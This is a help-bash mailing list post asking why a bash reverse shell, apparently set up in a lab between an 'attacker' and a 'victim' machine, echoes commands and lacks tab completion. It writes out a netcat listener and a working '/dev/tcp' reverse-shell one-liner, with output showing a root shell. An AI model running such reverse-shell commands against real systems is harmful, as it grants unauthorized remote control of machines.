help-bash
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

make a reverse shell just like a normal shell


From: Peng Yu
Subject: make a reverse shell just like a normal shell
Date: Thu, 31 Dec 2020 21:47:06 -0600

Hi,

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp

I following the above example to connect back to the attacker machine
(IP 10.9.238.114) from the victim machine (IP 10.10.254.78).

nc -lvp 4444 # attacker machine
bash -i >& /dev/tcp/10.9.238.114/4444 0>&1 # victim machine

On the attacher machine, the screen looks like the following. Notice
that when I type a command (pwd in this case), it echos back (X). And
the command completion does not work (Y).

$ nc -lvp 4444
Connection from 10.10.254.78:40984
root@ip-10-10-254-78:~# pwd
pwd
/root

If I use 127.0.0.1 as both the attacher machine and the victim
machine, then there are no such problems (X and Y problems mentioned
above).

nc -lvp 4444 # terminal 1
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 # terminal 2

I don't quite understand why the behaviors of the two senarios are
different. Does anybody see why is so? How to make the first senario
behave in the same way as the second scenario? Thanks.

-- 
Regards,
Peng



reply via email to

[Prev in Thread] Current Thread [Next in Thread]